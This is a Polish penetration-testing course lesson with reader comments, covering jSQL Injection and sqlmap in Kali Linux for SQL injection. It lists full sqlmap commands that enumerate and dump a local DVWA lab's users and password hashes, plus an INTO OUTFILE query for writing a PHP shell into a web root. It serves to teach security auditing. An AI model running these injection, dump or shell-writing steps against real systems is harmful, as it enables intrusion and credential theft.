WEP lekcja #20 – SQLMAP i jSQL tutorial – narzędzia do SQL Injection w Kali Linux

Dzisiaj czas na narzędzia dostępne w systemie operacyjnym Kali Linux 2016.1 dedykowane do testów bezpieczeństwa związanych z atakami SQL Injection. Na pierwszy ogień pójdzie aplikacja jSQL Injection. Program umożliwia zarówno detekcje luki typu Blind SQL Injection jak i zwykłej standardowej podatności związanej z bazą danych.

Dużą zaletą jest oczywiście interfejs graficzny i możliwość wykorzystania dodatkowych ciasteczek i nagłówków przeglądarki internetowej. Większość funkcji można po prostu wyklikać myszką. Aplikacja posiada dodatkowe możliwości w postaci modułu do wyszukiwania ciekawych plików na serwerze, a nawet umożliwia wykonanie ataku brute-force na odnalezione hashe. Kolejnym narzędziem wspomagającym jest hashidentifier pozwalający dokonania detekcji algorytmu funkcji mieszającej.

Ostatnim świetnym programem bomba jest sqlmap, służący do pełnej automatyzacji ataku SQL Injection. Na uwagę zasługuje fakt, że narzędzie umożliwia również automatyczne wyszukiwanie nazw baz danych, tabel, kolumn i dodatkowo na łamanie wartości hash np: MD5. Sqlmap dedykowany jest dla większości systemów bazodanowych. Podobnym narzędziem dedykowanym dla Microsoft SQL Server jest sqlninja.

Na samym końcu pokażemy Tobie sztuczkę umożliwiającą zapisanie złośliwego SHELLA PHP, za pomocą zapytania SQL into OUTFILE w bazach danych MySQL.

Wideo o narzędziach jSQL Injection i sqlmap

W poniższym filmie demonstrujemy narzędzia użyteczne przy audycie podatności wstrzykiwania zapytań SQL.

Polecenie wykonane w sqlmap

Poniżej jak zwykle zdecydowaliśmy się umieścić pełną komendę wykonaną w dsytrybucji dla hakerów Kali Linux dotyczącą narzędzia sqlmap.

Parametr –dbs

Wyświetlenie wszystkich dostępnych baz danych w silniku MySQL za pomocą parametru –dbs z pomocą podatności SQL Injection.

sqlmap -u 'http://192.168.0.10/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie=='Cookie: PHPSESSID=jokrm8vupn32d80rt9getafp17; security=low' --dbs

Parametr –current-db

Pobranie tylko bieżącej bazy danych za pomocą parametru –current-db (tej której skrypt PHP używa).

sqlmap -u 'http://192.168.0.10/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie=='Cookie: PHPSESSID=jokrm8vupn32d80rt9getafp17; security=low' --current-db

Parametr –tables

Wyświetlenie za pomocą parametru –tables wszystkich tabel dostępnych w bazie danych o nazwie dvwa.

sqlmap -u 'http://192.168.0.10/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie=='Cookie: PHPSESSID=jokrm8vupn32d80rt9getafp17; security=low' -D dvwa --tables

Parametr –columns

Wyświetlenie za pomocą parametru –columns wszystkich kolumn z bazy danych o nazwie dvwa z tabeli o nazwie users.

sqlmap -u 'http://192.168.0.10/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie=='Cookie: PHPSESSID=jokrm8vupn32d80rt9getafp17; security=low' -D dvwa -T users --columns

Parametr –dump

Próba pobrania wartości z kolumn user, last_login i password tabeli users.

sqlmap -u 'http://192.168.0.10/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie=='Cookie: PHPSESSID=jokrm8vupn32d80rt9getafp17; security=low' -D dvwa -T users -C user,last_login,password --dump

Oczywiście sqlmap posiada o wiele więcej parametrów zawartych w pomocy. Jeśli chcesz się im przyjrzeć wydaj polecenie sqlmap -h lub.

sqlmap poradnik - pobrane hasła md5 z sql injection
Pobrane i złamane w sposób automatyczny wartości hash (hasła) i loginy za pomocą narzędzia sqlmap i podatności SQL Injection.

into OUTFILE i PHP shell

Na samym końcu zaprezentowaliśmy dosyć ciekawą sztuczkę, umożliwiającą zapisanie wyników zapytania w pliku tekstowym za pomocą zmodyfikowanej konstrukcji SELECT z into outfile. Jeśli natomiast wykonasz zapytanie w poniższy sposób, to umożliwi to Tobie wgranie potencjalnie złośliwego shella PHP.

SELECT "<?php echo('SHELL'); ?>" into OUTFILE "C:\\xampp\\htdocs\\LOL.php";

Praca domowa

-> Zadanie 1

Przejdź przez magicznego czarodzieja kreator dla początkujących aplikacji sqlmap. Wydaj w tym celu polecenie w terminalu Kali Linux:

sqlmap --wizard

Uwaga! To zadanie nie posiada odpowiedzi. Chciałbym jednak, abyś zamieścił jakiś komentarz pod tym wpisem. Działa? Nie działa? Bo coś cicho i nie wiem czy kurs kontynuować…. 😉

-> Zadanie 2

 

Audytor bezpieczeństwo często zbiera wyniki poszczególnych etapów testu penetracyjnego. Dlatego przetestuj jak działa parametr –write-file i –dump-all. Oczywiście pozostałe argumenty programu sqlmap nie powinny być Tobie obce… Baw się!

Zadanie drugie również nie posiada konkretnej odpowiedzi.

-> Zadanie 3 (opcjonalne)

Poniżej umieszczamy linki o atakach SQL Injection dla ambitniejszych do poczytania sobie we własnym zakresie:

Podsumowanie o atakach SQL Injection

Jak widzisz przeprowadzenie ataku typu SQL Injection za pomocą wbudowanych narzędzi Kali Linux sqlmap lub jSQL Injection jest bardzo proste. Zwróć uwagę, że nie są to jedyne narzędzia związane z bazami danych dostępne w tym systemie operacyjnym dla hakerów.

Pamiętaj nic nie zastąpi wiedzy i doświadczenia audytora bezpieczeństwa web aplikacji. Zrozumienie i konstruowanie złośliwych zapytań powinno być dla Ciebie kluczowe. Jak widziałeś w poprzednich lekcjach kursu, narzędzia zautomatyzowane czasem mogą się mylić omijając pewne podatności. Chce żebyś też wiedział, że atak sql injection nie jest związany tylko z językiem PHP. Wstrzykiwanie jest możliwie w każdej wadliwie zaprojektowanej aplikacji (nawet grze komputerowej). Niestety to już koniec działu dotyczącego popularnych ataków SQL Injection. Powodzenia w pracy domowej! 😉

22 thoughts to “WEP lekcja #20 – SQLMAP i jSQL tutorial – narzędzia do SQL Injection w Kali Linux”

  1. „[…]nie wiem czy kurs kontynuować…” – kontynuować koniecznie! To, że cisza to nie znaczy, że nikt nie czyta.

    Odnośnie samego sqlmap’a to chętnie zerknę wieczorem. Wiem, że to potężny tool ale w defaultowej konfiguracji (bez parametrów) rzadko cokolwiek wypluwa.

    1. Dzięki za komentarz po13. To było tylko droczenie się… Tak naprawdę, sprawdzaliśmy czy ktoś czyta prace domowe czy tylko oglądane jest wideo :-). Jak już coś zaczynamy to staramy się skończyć, tym bardziej że kurs już został nakręcony w pełni jakiś czas temu, ale bez sensu publikować wszystko na HURRA. SQLMAP pojawi się jeszcze w jednej z kolejnych lekcji (z nowymi ciekawymi parametrami), w której demonstrujemy symulowany atak za pomocą exploitów i zebranej wiedzy w tym kursie na popularnego WordPressa z wtyczkami. Ciekawszym moim zdaniem narzędziem jest jSQL Injection, ponieważ w wygodny graficzny sposób wypluwa dane a szczerze dosyć mało znane to narzędzie jest…

    1. Nie jest obligatoryjnie wymagana znajomość ASM. Ta umiejętność jest przydatna tylko dla osób interesujących się nieco inną dziedziną, czyli reverse engineering. Dla osób piszących cracki (łamanie zabezpieczeń, ale oprogramowania) lub programujące exploity niskopoziomowe nacelowane na konkretne usługi (przepełnienie bufora, sterty itd) jest ta umiejętność bardziej przydatna.

  2. domyślałem się, że dokładnie monitorujecie statystyki 🙂
    przydałyby się dłuższe noce by wszystko dokładnie przećwiczyć i ewentualny help na forum w razie potrzeby

    1. Nie, aż tak nie monitorujemy bo na etacie sobie pracujemy w branży IT. Jeden z naszych czytelników dał nam kiedyś kilka rad na temat psychologi social mediów i to jedyne czego się trzymamy, bo rzeczywiście od tego czasu zwiększył się nasz zasięg w kanałach społecznościowych i ilość pytań. Dzięki za komentarz. Ogólnie taki pełny kurs trwałby bardzo długo a przez etat nie mamy czasu by wydać to w profesjonalny sposób z lektorem z prawdziwego zdarzenia. Dedukujemy kurs raczej osobą całkowicie początkującym i mam nadzieje, że przynajmniej coś tam przez niego liznęły Linuksa bo to dosyć ważna umiejętność.

  3. Great video about jSQL and sqlmap, and really comprehensive demonstration of jSQL features.
    I like how you are showing how to do MD5 Bruteforce, File reading and Admin page searching with jSQL, and also how you are testing PHP file creation with SELECT INTO OUTFILE.
    I think the 3 remaining advanced features of jSQL should work too on your local DVWA : PHP webshell, PHP sqlshell, and File upload. I really hope you will test this 3 other features.
    Also there is an upgrade to jSQL version 0.74, you can find it on Github.
    Nice tutorial 🙂 !!

    1. To są narzędzia dostępne w systemie Kali Linux, jakbyś oglądał kurs od początku wiedziałbyś że takiego Linuksa można wirtualnie uruchomić w Windowsie za pomocą VirtualBox.

      1. Masz racje po13. To nasza nieuwaga spowodowana konfiguracją Kaliego Linuxa nie wymagającą poprzedzania nazwy polecenia przedrostkiem python i zazwyczaj jeszcze w skryptach Pythonowych przyrostkiem .py. Wiele narzędzi jest napisanych w Perlu, Pythonie i innych interpretowanych więc teoretycznie działać powinny na każdym urządzeniu z zainstalowanym interpreterem danego języka.

        Jednak czasami jest jedno ale, ponieważ w tych językach programowania można wykorzystywać specyficzne odwołania do systemu operacyjnego np: WinAPI dla Windows.

        Druga przeszkoda, to korzystanie często przez programistów w tego typu skryptach z zewnętrznych aplikacji konsolowych w celu pobrania z nich pewnych informacji. Przez co to że sam kod Pythonowy jest przenośny nie znaczy, że będzie działał. Osobiście nie testowałem w systemie Microsoft Windows sqlmapa… ale jak sobie wyobrażam konsole Windows i jej „piękny” wygląd to chyba pozostanę przy mojej niewiedzy… 🙂

        Dzięki po13 za informacje i komentarz!

  4. Dziękuję za szybką i bardzo rzeczową odpowiedź. Może by tak kiedyś kurs Social Engineering Toolkit?

  5. Dzięki za link. Czytałem komentarze ludzi w nim zawarte i podziwiam Cię za cierpliwość oraz chęć dzielenia się wiedzą.

  6. „…programujące exploity niskopoziomowe…” Szukałem informacji na temat exploitów wysokopoziomowych ale nic o tym nie mogę znaleźć. Czy mógłbyś mi to jakoś bardziej rozjaśnić? Czym są exploity wysokopoziomowe? Jeśli to głupie pytanie to przepraszam.

    1. To była pewna przenośna. Mieliśmy na myśli „exploity niskopoziomowe” jako te używające głównie pamięci operacyjnej i wstrzykujące złośliwy kod maszynowy do pracującego procesu za pomocą którego wywołuje się powłokę systemową (np: przepełnienie bufora).

  7. Po wpisaniu polecenia „sqlmap –wizard” pojawia sie opcja wpisania adresu URL oraz po jego wpisaniu pare fajnych funkcji. Szkoda ze kurs ma tylko 24 odcinki, Czekam na wiecej filmow!

  8. [01:35:27] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for ’–level’/’–risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ’–tamper’ (e.g. ’–tamper=space2comment’)

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *